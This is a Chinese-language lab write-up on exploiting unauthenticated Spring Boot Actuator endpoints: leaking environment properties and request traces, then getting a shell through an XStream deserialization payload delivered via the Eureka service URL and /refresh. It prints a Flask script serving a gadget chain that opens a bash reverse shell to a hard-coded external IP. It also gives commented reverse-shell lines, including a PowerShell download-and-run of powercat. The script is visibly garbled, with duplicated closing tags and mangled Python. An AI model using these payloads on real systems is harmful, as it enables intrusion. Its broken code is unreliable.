目录

一, 未授权访问是什么?

二,Actuator介绍

三,怎么进行漏洞发现呢?

四,实验环境

五,漏洞复现

1.通过访问env获取全部环境属性

2.通过/trace提供基本的http请求跟踪信息

3.利用反序列化进行getshell

 1.启动脚本

2.开启监听

 3.使用bp抓取一个/env的包

4.修改POST数据


一, 未授权访问是什么?

未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露

二,Actuator介绍

Spring Boot 基本上是 Spring 框架的扩展。 Actuator 是 Springboot 提供的用来对应用系统进行 自省和监控的功能模块,借助于 Actuator ,开发者可以很方便地对应用系统的某些监控指标进行查 看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点( endpoints )来获取应用系统中的监控信息。

springmvc XSS漏洞修复 springboot 漏洞利用_java

 

三,怎么进行漏洞发现呢?

1. 分析web 应用使用的框架为 springboot 框架

2.如果web应用开发者没有修改springboot web默认图标

springmvc XSS漏洞修复 springboot 漏洞利用_网络_02

3.如果修改了默认图标,我们通过访问refresh如果 web 应用开发者没有修改 springboot web 应用的默认 4xx、5xx 报错页面,那么当 web 应用程序出现 4xx、5xx 错误时,会报错如下如图所示

 

springmvc XSS漏洞修复 springboot 漏洞利用_xml_03

四,实验环境

靶机:Centos7+springboot   IP地址:10.1.1.137:8090

攻击机:Kali  IP地址:10.1.1.135

五,漏洞复现

1.通过访问env获取全部环境属性

springmvc XSS漏洞修复 springboot 漏洞利用_安全_04

2.通过/trace提供基本的http请求跟踪信息

springmvc XSS漏洞修复 springboot 漏洞利用_网络_05

3.利用反序列化进行getshell

需要以下两个包(环境已安装)

spring-boot-starter-actuator(/refresh刷新配置需要)

spring-cloud-starter-netflix-eureka-client(功能依赖)

采用脚本的方式

# linux反弹shell bash -i >& /dev/tcp/192.168.20.82/9999 0>&1
# windows反弹shell
# <string>powershell</string>
# <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>
# <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>
from flask import Flask,Response

app =Flask(_name_)

@app.route('/xstream', defaults={ ''})
@app.route('/xstream/<path:path>')
def catch_all(path):
    xml = """<linked-hash-set>
	<jdk.nashorn.internal.objects.NativeString>
	 <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Date">
	 <dataHandler>
	 <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
	 <is class="javax.crypto.CipherInputStream">
	 <cipher class="javax.crypto.NullCipher">
	 <serviceIterator class="javax.imageio.spi.FilterIterator">
     <iter class="javax.imageio.spi.FilterIterator">
	 <iter class="java.util.Collections$EmptyIterator"/>
	 <next class="java.lang.ProcessBuilder">
	<command>
	<string>bash</string>
	<string>-c</string>
	<string>bash -i >& /dev/tcp/139.9.198.30/1234 0>&1</string>      //攻击机的IP
	</command>
	<redirectErrorStream>false</redirectErrorStream>
	</next>
	</iter>
	<filter class="javax.imageio.ImageIO$ContainsFilter">
	<method>
	<class>java.lang.ProcessBuilder</class>
    <name>start</name>
	<parameter-types/>
	</method>
    <name>foo</name>
	</filter>
	<next class="string">foo</next>
	</serviceIterator>
	<lock/>
	</cipher>
	<input class="java.lang.ProcessBuilder$NullInputStream"/>
	<ibuffer></ibuffer>
	</is>
	</dataSource>
	</dataHandler>
	 </value>
	</jdk.nashorn.internal.objects.NativeString>
	</linked-hash-set>"""
	 </is>
	</dataSource>
	</dataHandler>
	</value>
	</jdk.nashorn.internal.objects.NativeString>
	</linked-hash-set>"""
	return Response(xml, mimetype='application/xml')
	if __name__ == "__main__":
	app.run(host='0.0.0.0', port=2333)

采用一个启动脚本的服务

注意讲脚本中的IP改为自己的IP,并且开启一个监听端口

 

springmvc XSS漏洞修复 springboot 漏洞利用_安全_06

 1.启动脚本

springmvc XSS漏洞修复 springboot 漏洞利用_安全_07

2.开启监听

 

springmvc XSS漏洞修复 springboot 漏洞利用_安全_08

 3.使用bp抓取一个/env的包

springmvc XSS漏洞修复 springboot 漏洞利用_xml_09

4.修改POST数据

eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream

 

springmvc XSS漏洞修复 springboot 漏洞利用_java_10

 点击forward发送请求

springmvc XSS漏洞修复 springboot 漏洞利用_安全_11

 访问/refresh,还是显示一次错误页面。我们对此进行抓包

springmvc XSS漏洞修复 springboot 漏洞利用_网络_12

 

springmvc XSS漏洞修复 springboot 漏洞利用_xml_13

我们讲此修改为post请求,数据包随机输入就可以 

springmvc XSS漏洞修复 springboot 漏洞利用_springmvc XSS漏洞修复_14


 查看监听的端口,我们可以看到得道了一个shell,复现成功!!!

springmvc XSS漏洞修复 springboot 漏洞利用_springmvc XSS漏洞修复_15